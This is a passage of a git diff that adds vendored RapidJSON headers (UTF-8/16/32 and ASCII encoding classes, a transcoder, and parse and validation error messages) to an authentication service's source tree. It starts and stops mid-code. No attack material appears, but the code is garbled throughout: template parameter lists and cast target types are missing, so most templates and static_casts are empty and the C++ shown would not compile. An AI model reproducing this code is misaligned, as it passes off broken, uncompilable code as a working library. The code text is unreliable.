((GetRange(static_cast(c)) & mask) != 0) +#define RAPIDJSON_TAIL() RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x70) + typename InputStream::Ch c = is.Take(); + if (!(c & 0x80)) { + *codepoint = static_cast(c); + return true; + } + + unsigned char type = GetRange(static_cast(c)); + if (type >= 32) { + *codepoint = 0; + } else { + *codepoint = (0xFFu >> type) & static_cast(c); + } + bool result = true; + switch (type) { + case 2: RAPIDJSON_TAIL(); return result; + case 3: RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); return result; + case 4: RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x50); RAPIDJSON_TAIL(); return result; + case 5: RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x10); RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); return result; + case 6: RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); return result; + case 10: RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x20); RAPIDJSON_TAIL(); return result; + case 11: RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x60); RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); return result; + default: return false; + } +#undef RAPIDJSON_COPY +#undef RAPIDJSON_TRANS +#undef RAPIDJSON_TAIL + } + + template + static bool Validate(InputStream& is, OutputStream& os) { +#define RAPIDJSON_COPY() os.Put(c = is.Take()) +#define RAPIDJSON_TRANS(mask) result &= ((GetRange(static_cast(c)) & mask) != 0) +#define RAPIDJSON_TAIL() RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x70) + Ch c; + RAPIDJSON_COPY(); + if (!(c & 0x80)) + return true; + + bool result = true; + switch (GetRange(static_cast(c))) { + case 2: RAPIDJSON_TAIL(); return result; + case 3: RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); return result; + case 4: RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x50); RAPIDJSON_TAIL(); return result; + case 5: RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x10); RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); return result; + case 6: RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); return result; + case 10: RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x20); RAPIDJSON_TAIL(); return result; + case 11: RAPIDJSON_COPY(); RAPIDJSON_TRANS(0x60); RAPIDJSON_TAIL(); RAPIDJSON_TAIL(); return result; + default: return false; + } +#undef RAPIDJSON_COPY +#undef RAPIDJSON_TRANS +#undef RAPIDJSON_TAIL + } + + static unsigned char GetRange(unsigned char c) { + // Referring to DFA of http://bjoern.hoehrmann.de/utf-8/decoder/dfa/ + // With new mapping 1 -> 0x10, 7 -> 0x20, 9 -> 0x40, such that AND operation can test multiple types. + static const unsigned char type[] = { + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10, + 0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, + 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, + 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, + 8,8,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, + 10,3,3,3,3,3,3,3,3,3,3,3,3,4,3,3, 11,6,6,6,5,8,8,8,8,8,8,8,8,8,8,8, + }; + return type[c]; + } + + template + static CharType TakeBOM(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + typename InputByteStream::Ch c = Take(is); + if (static_cast(c) != 0xEFu) return c; + c = is.Take(); + if (static_cast(c) != 0xBBu) return c; + c = is.Take(); + if (static_cast(c) != 0xBFu) return c; + c = is.Take(); + return c; + } + + template + static Ch Take(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + return static_cast(is.Take()); + } + + template + static void PutBOM(OutputByteStream& os) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(0xEFu)); + os.Put(static_cast(0xBBu)); + os.Put(static_cast(0xBFu)); + } + + template + static void Put(OutputByteStream& os, Ch c) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(c)); + } +}; + +/////////////////////////////////////////////////////////////////////////////// +// UTF16 + +//! UTF-16 encoding. +/*! http://en.wikipedia.org/wiki/UTF-16 + http://tools.ietf.org/html/rfc2781 + \tparam CharType Type for storing 16-bit UTF-16 data. Default is wchar_t. C++11 may use char16_t instead. + \note implements Encoding concept + + \note For in-memory access, no need to concern endianness. The code units and code points are represented by CPU's endianness. + For streaming, use UTF16LE and UTF16BE, which handle endianness. +*/ +template +struct UTF16 { + typedef CharType Ch; + RAPIDJSON_STATIC_ASSERT(sizeof(Ch) >= 2); + + enum { supportUnicode = 1 }; + + template + static void Encode(OutputStream& os, unsigned codepoint) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputStream::Ch) >= 2); + if (codepoint <= 0xFFFF) { + RAPIDJSON_ASSERT(codepoint < 0xD800 || codepoint > 0xDFFF); // Code point itself cannot be surrogate pair + os.Put(static_cast(codepoint)); + } + else { + RAPIDJSON_ASSERT(codepoint <= 0x10FFFF); + unsigned v = codepoint - 0x10000; + os.Put(static_cast((v >> 10) | 0xD800)); + os.Put(static_cast((v & 0x3FF) | 0xDC00)); + } + } + + + template + static void EncodeUnsafe(OutputStream& os, unsigned codepoint) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputStream::Ch) >= 2); + if (codepoint <= 0xFFFF) { + RAPIDJSON_ASSERT(codepoint < 0xD800 || codepoint > 0xDFFF); // Code point itself cannot be surrogate pair + PutUnsafe(os, static_cast(codepoint)); + } + else { + RAPIDJSON_ASSERT(codepoint <= 0x10FFFF); + unsigned v = codepoint - 0x10000; + PutUnsafe(os, static_cast((v >> 10) | 0xD800)); + PutUnsafe(os, static_cast((v & 0x3FF) | 0xDC00)); + } + } + + template + static bool Decode(InputStream& is, unsigned* codepoint) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputStream::Ch) >= 2); + typename InputStream::Ch c = is.Take(); + if (c < 0xD800 || c > 0xDFFF) { + *codepoint = static_cast(c); + return true; + } + else if (c <= 0xDBFF) { + *codepoint = (static_cast(c) & 0x3FF) << 10; + c = is.Take(); + *codepoint |= (static_cast(c) & 0x3FF); + *codepoint += 0x10000; + return c >= 0xDC00 && c <= 0xDFFF; + } + return false; + } + + template + static bool Validate(InputStream& is, OutputStream& os) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputStream::Ch) >= 2); + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputStream::Ch) >= 2); + typename InputStream::Ch c; + os.Put(static_cast(c = is.Take())); + if (c < 0xD800 || c > 0xDFFF) + return true; + else if (c <= 0xDBFF) { + os.Put(c = is.Take()); + return c >= 0xDC00 && c <= 0xDFFF; + } + return false; + } +}; + +//! UTF-16 little endian encoding. +template +struct UTF16LE : UTF16 { + template + static CharType TakeBOM(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + CharType c = Take(is); + return static_cast(c) == 0xFEFFu ? Take(is) : c; + } + + template + static CharType Take(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + unsigned c = static_cast(is.Take()); + c |= static_cast(static_cast(is.Take())) << 8; + return static_cast(c); + } + + template + static void PutBOM(OutputByteStream& os) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(0xFFu)); + os.Put(static_cast(0xFEu)); + } + + template + static void Put(OutputByteStream& os, CharType c) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(static_cast(c) & 0xFFu)); + os.Put(static_cast((static_cast(c) >> 8) & 0xFFu)); + } +}; + +//! UTF-16 big endian encoding. +template +struct UTF16BE : UTF16 { + template + static CharType TakeBOM(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + CharType c = Take(is); + return static_cast(c) == 0xFEFFu ? Take(is) : c; + } + + template + static CharType Take(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + unsigned c = static_cast(static_cast(is.Take())) << 8; + c |= static_cast(static_cast(is.Take())); + return static_cast(c); + } + + template + static void PutBOM(OutputByteStream& os) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(0xFEu)); + os.Put(static_cast(0xFFu)); + } + + template + static void Put(OutputByteStream& os, CharType c) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast((static_cast(c) >> 8) & 0xFFu)); + os.Put(static_cast(static_cast(c) & 0xFFu)); + } +}; + +/////////////////////////////////////////////////////////////////////////////// +// UTF32 + +//! UTF-32 encoding. +/*! http://en.wikipedia.org/wiki/UTF-32 + \tparam CharType Type for storing 32-bit UTF-32 data. Default is unsigned. C++11 may use char32_t instead. + \note implements Encoding concept + + \note For in-memory access, no need to concern endianness. The code units and code points are represented by CPU's endianness. + For streaming, use UTF32LE and UTF32BE, which handle endianness. +*/ +template +struct UTF32 { + typedef CharType Ch; + RAPIDJSON_STATIC_ASSERT(sizeof(Ch) >= 4); + + enum { supportUnicode = 1 }; + + template + static void Encode(OutputStream& os, unsigned codepoint) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputStream::Ch) >= 4); + RAPIDJSON_ASSERT(codepoint <= 0x10FFFF); + os.Put(codepoint); + } + + template + static void EncodeUnsafe(OutputStream& os, unsigned codepoint) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputStream::Ch) >= 4); + RAPIDJSON_ASSERT(codepoint <= 0x10FFFF); + PutUnsafe(os, codepoint); + } + + template + static bool Decode(InputStream& is, unsigned* codepoint) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputStream::Ch) >= 4); + Ch c = is.Take(); + *codepoint = c; + return c <= 0x10FFFF; + } + + template + static bool Validate(InputStream& is, OutputStream& os) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputStream::Ch) >= 4); + Ch c; + os.Put(c = is.Take()); + return c <= 0x10FFFF; + } +}; + +//! UTF-32 little endian enocoding. +template +struct UTF32LE : UTF32 { + template + static CharType TakeBOM(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + CharType c = Take(is); + return static_cast(c) == 0x0000FEFFu ? Take(is) : c; + } + + template + static CharType Take(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + unsigned c = static_cast(is.Take()); + c |= static_cast(static_cast(is.Take())) << 8; + c |= static_cast(static_cast(is.Take())) << 16; + c |= static_cast(static_cast(is.Take())) << 24; + return static_cast(c); + } + + template + static void PutBOM(OutputByteStream& os) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(0xFFu)); + os.Put(static_cast(0xFEu)); + os.Put(static_cast(0x00u)); + os.Put(static_cast(0x00u)); + } + + template + static void Put(OutputByteStream& os, CharType c) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(c & 0xFFu)); + os.Put(static_cast((c >> 8) & 0xFFu)); + os.Put(static_cast((c >> 16) & 0xFFu)); + os.Put(static_cast((c >> 24) & 0xFFu)); + } +}; + +//! UTF-32 big endian encoding. +template +struct UTF32BE : UTF32 { + template + static CharType TakeBOM(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + CharType c = Take(is); + return static_cast(c) == 0x0000FEFFu ? Take(is) : c; + } + + template + static CharType Take(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + unsigned c = static_cast(static_cast(is.Take())) << 24; + c |= static_cast(static_cast(is.Take())) << 16; + c |= static_cast(static_cast(is.Take())) << 8; + c |= static_cast(static_cast(is.Take())); + return static_cast(c); + } + + template + static void PutBOM(OutputByteStream& os) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(0x00u)); + os.Put(static_cast(0x00u)); + os.Put(static_cast(0xFEu)); + os.Put(static_cast(0xFFu)); + } + + template + static void Put(OutputByteStream& os, CharType c) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast((c >> 24) & 0xFFu)); + os.Put(static_cast((c >> 16) & 0xFFu)); + os.Put(static_cast((c >> 8) & 0xFFu)); + os.Put(static_cast(c & 0xFFu)); + } +}; + +/////////////////////////////////////////////////////////////////////////////// +// ASCII + +//! ASCII encoding. +/*! http://en.wikipedia.org/wiki/ASCII + \tparam CharType Code unit for storing 7-bit ASCII data. Default is char. + \note implements Encoding concept +*/ +template +struct ASCII { + typedef CharType Ch; + + enum { supportUnicode = 0 }; + + template + static void Encode(OutputStream& os, unsigned codepoint) { + RAPIDJSON_ASSERT(codepoint <= 0x7F); + os.Put(static_cast(codepoint & 0xFF)); + } + + template + static void EncodeUnsafe(OutputStream& os, unsigned codepoint) { + RAPIDJSON_ASSERT(codepoint <= 0x7F); + PutUnsafe(os, static_cast(codepoint & 0xFF)); + } + + template + static bool Decode(InputStream& is, unsigned* codepoint) { + uint8_t c = static_cast(is.Take()); + *codepoint = c; + return c <= 0X7F; + } + + template + static bool Validate(InputStream& is, OutputStream& os) { + uint8_t c = static_cast(is.Take()); + os.Put(static_cast(c)); + return c <= 0x7F; + } + + template + static CharType TakeBOM(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + uint8_t c = static_cast(Take(is)); + return static_cast(c); + } + + template + static Ch Take(InputByteStream& is) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); + return static_cast(is.Take()); + } + + template + static void PutBOM(OutputByteStream& os) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + (void)os; + } + + template + static void Put(OutputByteStream& os, Ch c) { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); + os.Put(static_cast(c)); + } +}; + +/////////////////////////////////////////////////////////////////////////////// +// AutoUTF + +//! Runtime-specified UTF encoding type of a stream. +enum UTFType { + kUTF8 = 0, //!< UTF-8. + kUTF16LE = 1, //!< UTF-16 little endian. + kUTF16BE = 2, //!< UTF-16 big endian. + kUTF32LE = 3, //!< UTF-32 little endian. + kUTF32BE = 4 //!< UTF-32 big endian. +}; + +//! Dynamically select encoding according to stream's runtime-specified UTF encoding type. +/*! \note This class can be used with AutoUTFInputtStream and AutoUTFOutputStream, which provides GetType(). +*/ +template +struct AutoUTF { + typedef CharType Ch; + + enum { supportUnicode = 1 }; + +#define RAPIDJSON_ENCODINGS_FUNC(x) UTF8::x, UTF16LE::x, UTF16BE::x, UTF32LE::x, UTF32BE::x + + template + static RAPIDJSON_FORCEINLINE void Encode(OutputStream& os, unsigned codepoint) { + typedef void (*EncodeFunc)(OutputStream&, unsigned); + static const EncodeFunc f[] = { RAPIDJSON_ENCODINGS_FUNC(Encode) }; + (*f[os.GetType()])(os, codepoint); + } + + template + static RAPIDJSON_FORCEINLINE void EncodeUnsafe(OutputStream& os, unsigned codepoint) { + typedef void (*EncodeFunc)(OutputStream&, unsigned); + static const EncodeFunc f[] = { RAPIDJSON_ENCODINGS_FUNC(EncodeUnsafe) }; + (*f[os.GetType()])(os, codepoint); + } + + template + static RAPIDJSON_FORCEINLINE bool Decode(InputStream& is, unsigned* codepoint) { + typedef bool (*DecodeFunc)(InputStream&, unsigned*); + static const DecodeFunc f[] = { RAPIDJSON_ENCODINGS_FUNC(Decode) }; + return (*f[is.GetType()])(is, codepoint); + } + + template + static RAPIDJSON_FORCEINLINE bool Validate(InputStream& is, OutputStream& os) { + typedef bool (*ValidateFunc)(InputStream&, OutputStream&); + static const ValidateFunc f[] = { RAPIDJSON_ENCODINGS_FUNC(Validate) }; + return (*f[is.GetType()])(is, os); + } + +#undef RAPIDJSON_ENCODINGS_FUNC +}; + +/////////////////////////////////////////////////////////////////////////////// +// Transcoder + +//! Encoding conversion. +template +struct Transcoder { + //! Take one Unicode codepoint from source encoding, convert it to target encoding and put it to the output stream. + template + static RAPIDJSON_FORCEINLINE bool Transcode(InputStream& is, OutputStream& os) { + unsigned codepoint; + if (!SourceEncoding::Decode(is, &codepoint)) + return false; + TargetEncoding::Encode(os, codepoint); + return true; + } + + template + static RAPIDJSON_FORCEINLINE bool TranscodeUnsafe(InputStream& is, OutputStream& os) { + unsigned codepoint; + if (!SourceEncoding::Decode(is, &codepoint)) + return false; + TargetEncoding::EncodeUnsafe(os, codepoint); + return true; + } + + //! Validate one Unicode codepoint from an encoded stream. + template + static RAPIDJSON_FORCEINLINE bool Validate(InputStream& is, OutputStream& os) { + return Transcode(is, os); // Since source/target encoding is different, must transcode. + } +}; + +// Forward declaration. +template +inline void PutUnsafe(Stream& stream, typename Stream::Ch c); + +//! Specialization of Transcoder with same source and target encoding. +template +struct Transcoder { + template + static RAPIDJSON_FORCEINLINE bool Transcode(InputStream& is, OutputStream& os) { + os.Put(is.Take()); // Just copy one code unit. This semantic is different from primary template class. + return true; + } + + template + static RAPIDJSON_FORCEINLINE bool TranscodeUnsafe(InputStream& is, OutputStream& os) { + PutUnsafe(os, is.Take()); // Just copy one code unit. This semantic is different from primary template class. + return true; + } + + template + static RAPIDJSON_FORCEINLINE bool Validate(InputStream& is, OutputStream& os) { + return Encoding::Validate(is, os); // source/target encoding are the same + } +}; + +RAPIDJSON_NAMESPACE_END + +#if defined(__GNUC__) || (defined(_MSC_VER) && !defined(__clang__)) +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_ENCODINGS_H_ diff --git a/services/service2/src/auth_service/rapidjson/error/en.h b/services/service2/src/auth_service/rapidjson/error/en.h new file mode 100644 index 0000000..5d2e57b --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/error/en.h @@ -0,0 +1,122 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_ERROR_EN_H_ +#define RAPIDJSON_ERROR_EN_H_ + +#include "error.h" + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(switch-enum) +RAPIDJSON_DIAG_OFF(covered-switch-default) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! Maps error code of parsing into error message. +/*! + \ingroup RAPIDJSON_ERRORS + \param parseErrorCode Error code obtained in parsing. + \return the error message. + \note User can make a copy of this function for localization. + Using switch-case is safer for future modification of error codes. +*/ +inline const RAPIDJSON_ERROR_CHARTYPE* GetParseError_En(ParseErrorCode parseErrorCode) { + switch (parseErrorCode) { + case kParseErrorNone: return RAPIDJSON_ERROR_STRING("No error."); + + case kParseErrorDocumentEmpty: return RAPIDJSON_ERROR_STRING("The document is empty."); + case kParseErrorDocumentRootNotSingular: return RAPIDJSON_ERROR_STRING("The document root must not be followed by other values."); + + case kParseErrorValueInvalid: return RAPIDJSON_ERROR_STRING("Invalid value."); + + case kParseErrorObjectMissName: return RAPIDJSON_ERROR_STRING("Missing a name for object member."); + case kParseErrorObjectMissColon: return RAPIDJSON_ERROR_STRING("Missing a colon after a name of object member."); + case kParseErrorObjectMissCommaOrCurlyBracket: return RAPIDJSON_ERROR_STRING("Missing a comma or '}' after an object member."); + + case kParseErrorArrayMissCommaOrSquareBracket: return RAPIDJSON_ERROR_STRING("Missing a comma or ']' after an array element."); + + case kParseErrorStringUnicodeEscapeInvalidHex: return RAPIDJSON_ERROR_STRING("Incorrect hex digit after \\u escape in string."); + case kParseErrorStringUnicodeSurrogateInvalid: return RAPIDJSON_ERROR_STRING("The surrogate pair in string is invalid."); + case kParseErrorStringEscapeInvalid: return RAPIDJSON_ERROR_STRING("Invalid escape character in string."); + case kParseErrorStringMissQuotationMark: return RAPIDJSON_ERROR_STRING("Missing a closing quotation mark in string."); + case kParseErrorStringInvalidEncoding: return RAPIDJSON_ERROR_STRING("Invalid encoding in string."); + + case kParseErrorNumberTooBig: return RAPIDJSON_ERROR_STRING("Number too big to be stored in double."); + case kParseErrorNumberMissFraction: return RAPIDJSON_ERROR_STRING("Miss fraction part in number."); + case kParseErrorNumberMissExponent: return RAPIDJSON_ERROR_STRING("Miss exponent in number."); + + case kParseErrorTermination: return RAPIDJSON_ERROR_STRING("Terminate parsing due to Handler error."); + case kParseErrorUnspecificSyntaxError: return RAPIDJSON_ERROR_STRING("Unspecific syntax error."); + + default: return RAPIDJSON_ERROR_STRING("Unknown error."); + } +} + +//! Maps error code of validation into error message. +/*! + \ingroup RAPIDJSON_ERRORS + \param validateErrorCode Error code obtained from validator. + \return the error message. + \note User can make a copy of this function for localization. + Using switch-case is safer for future modification of error codes. +*/ +inline const RAPIDJSON_ERROR_CHARTYPE* GetValidateError_En(ValidateErrorCode validateErrorCode) { + switch (validateErrorCode) { + case kValidateErrors: return RAPIDJSON_ERROR_STRING("One or more validation errors have occurred"); + case kValidateErrorNone: return RAPIDJSON_ERROR_STRING("No error."); + + case kValidateErrorMultipleOf: return RAPIDJSON_ERROR_STRING("Number '%actual' is not a multiple of the 'multipleOf' value '%expected'."); + case kValidateErrorMaximum: return RAPIDJSON_ERROR_STRING("Number '%actual' is greater than the 'maximum' value '%expected'."); + case kValidateErrorExclusiveMaximum: return RAPIDJSON_ERROR_STRING("Number '%actual' is greater than or equal to the 'exclusiveMaximum' value '%expected'."); + case kValidateErrorMinimum: return RAPIDJSON_ERROR_STRING("Number '%actual' is less than the 'minimum' value '%expected'."); + case kValidateErrorExclusiveMinimum: return RAPIDJSON_ERROR_STRING("Number '%actual' is less than or equal to the 'exclusiveMinimum' value '%expected'."); + + case kValidateErrorMaxLength: return RAPIDJSON_ERROR_STRING("String '%actual' is longer than the 'maxLength' value '%expected'."); + case kValidateErrorMinLength: return RAPIDJSON_ERROR_STRING("String '%actual' is shorter than the 'minLength' value '%expected'."); + case kValidateErrorPattern: return RAPIDJSON_ERROR_STRING("String '%actual' does not match the 'pattern' regular expression."); + + case kValidateErrorMaxItems: return RAPIDJSON_ERROR_STRING("Array of length '%actual' is longer than the 'maxItems' value '%expected'."); + case kValidateErrorMinItems: return RAPIDJSON_ERROR_STRING("Array of length '%actual' is shorter than the 'minItems' value '%expected'."); + case kValidateErrorUniqueItems: return RAPIDJSON_ERROR_STRING("Array has duplicate items at indices '%duplicates' but 'uniqueItems' is true."); + case kValidateErrorAdditionalItems: return RAPIDJSON_ERROR_STRING("Array has an additional item at index '%disallowed' that is not allowed by the schema."); + + case kValidateErrorMaxProperties: return RAPIDJSON_ERROR_STRING("Object has '%actual' members which is more than 'maxProperties' value '%expected'."); + case kValidateErrorMinProperties: return RAPIDJSON_ERROR_STRING("Object has '%actual' members which is less than 'minProperties' value '%expected'."); + case kValidateErrorRequired: return RAPIDJSON_ERROR_STRING("Object is missing the following members required by the schema: '%missing'."); + case kValidateErrorAdditionalProperties: return RAPIDJSON_ERROR_STRING("Object has an additional member '%disallowed' that is not allowed by the schema."); + case kValidateErrorPatternProperties: return RAPIDJSON_ERROR_STRING("Object has 'patternProperties' that are not allowed by the schema."); + case kValidateErrorDependencies: return RAPIDJSON_ERROR_STRING("Object has missing property or schema dependencies, refer to following errors."); + + case kValidateErrorEnum: return RAPIDJSON_ERROR_STRING("Property has a value that is not one of its allowed enumerated values."); + case kValidateErrorType: return RAPIDJSON_ERROR_STRING("Property has a type '%actual' that is not in the following list: '%expected'."); + + case kValidateErrorOneOf: return RAPIDJSON_ERROR_STRING("Property did not match any of the sub-schemas specified by 'oneOf', refer to following errors."); + case kValidateErrorOneOfMatch: return RAPIDJSON_ERROR_STRING("Property matched more than one of the sub-schemas specified by 'oneOf'."); + case kValidateErrorAllOf: return RAPIDJSON_ERROR_STRING("Property did not match all of the sub-schemas specified by 'allOf', refer to following errors."); + case kValidateErrorAnyOf: return RAPIDJSON_ERROR_STRING("Property did not match any of the sub-schemas specified by 'anyOf', refer to following errors."); + case kValidateErrorNot: return RAPIDJSON_ERROR_STRING("Property matched the sub-schema specified by 'not'."); + + default: return RAPIDJSON_ERROR_STRING("Unknown error."); + } +} + +RAPIDJSON_NAMESPACE_END + +#ifdef __clang__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_ERROR_EN_H_ diff --git a/services/service2/src/auth_service/rapidjson/error/error.h b/services/service2/src/auth_service/rapidjson/error/error.h new file mode 100644 index 0000000..6270da1 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/error/error.h @@ -0,0 +1,216 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_ERROR_ERROR_H_ +#define RAPIDJSON_ERROR_ERROR_H_ + +#include "../rapidjson.h" + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(padded) +#endif + +/*! \file error.h */ + +/*! \defgroup RAPIDJSON_ERRORS RapidJSON error handling */ + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_ERROR_CHARTYPE + +//! Character type of error messages. +/*! \ingroup RAPIDJSON_ERRORS + The default character type is \c char. + On Windows, user can define this macro as \c TCHAR for supporting both + unicode/non-unicode settings. +*/ +#ifndef RAPIDJSON_ERROR_CHARTYPE +#define RAPIDJSON_ERROR_CHARTYPE char +#endif + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_ERROR_STRING + +//! Macro for converting string literial to \ref RAPIDJSON_ERROR_CHARTYPE[]. +/*! \ingroup RAPIDJSON_ERRORS + By default this conversion macro does nothing. + On Windows, user can define this macro as \c _T(x) for supporting both + unicode/non-unicode settings. +*/ +#ifndef RAPIDJSON_ERROR_STRING +#define RAPIDJSON_ERROR_STRING(x) x +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +/////////////////////////////////////////////////////////////////////////////// +// ParseErrorCode + +//! Error code of parsing. +/*! \ingroup RAPIDJSON_ERRORS + \see GenericReader::Parse, GenericReader::GetParseErrorCode +*/ +enum ParseErrorCode { + kParseErrorNone = 0, //!< No error. + + kParseErrorDocumentEmpty, //!< The document is empty. + kParseErrorDocumentRootNotSingular, //!< The document root must not follow by other values. + + kParseErrorValueInvalid, //!< Invalid value. + + kParseErrorObjectMissName, //!< Missing a name for object member. + kParseErrorObjectMissColon, //!< Missing a colon after a name of object member. + kParseErrorObjectMissCommaOrCurlyBracket, //!< Missing a comma or '}' after an object member. + + kParseErrorArrayMissCommaOrSquareBracket, //!< Missing a comma or ']' after an array element. + + kParseErrorStringUnicodeEscapeInvalidHex, //!< Incorrect hex digit after \\u escape in string. + kParseErrorStringUnicodeSurrogateInvalid, //!< The surrogate pair in string is invalid. + kParseErrorStringEscapeInvalid, //!< Invalid escape character in string. + kParseErrorStringMissQuotationMark, //!< Missing a closing quotation mark in string. + kParseErrorStringInvalidEncoding, //!< Invalid encoding in string. + + kParseErrorNumberTooBig, //!< Number too big to be stored in double. + kParseErrorNumberMissFraction, //!< Miss fraction part in number. + kParseErrorNumberMissExponent, //!< Miss exponent in number. + + kParseErrorTermination, //!< Parsing was terminated. + kParseErrorUnspecificSyntaxError //!< Unspecific syntax error. +}; + +//! Result of parsing (wraps ParseErrorCode) +/*! + \ingroup RAPIDJSON_ERRORS + \code + Document doc; + ParseResult ok = doc.Parse("[42]"); + if (!ok) { + fprintf(stderr, "JSON parse error: %s (%u)", + GetParseError_En(ok.Code()), ok.Offset()); + exit(EXIT_FAILURE); + } + \endcode + \see GenericReader::Parse, GenericDocument::Parse +*/ +struct ParseResult { + //!! Unspecified boolean type + typedef bool (ParseResult::*BooleanType)() const; +public: + //! Default constructor, no error. + ParseResult() : code_(kParseErrorNone), offset_(0) {} + //! Constructor to set an error. + 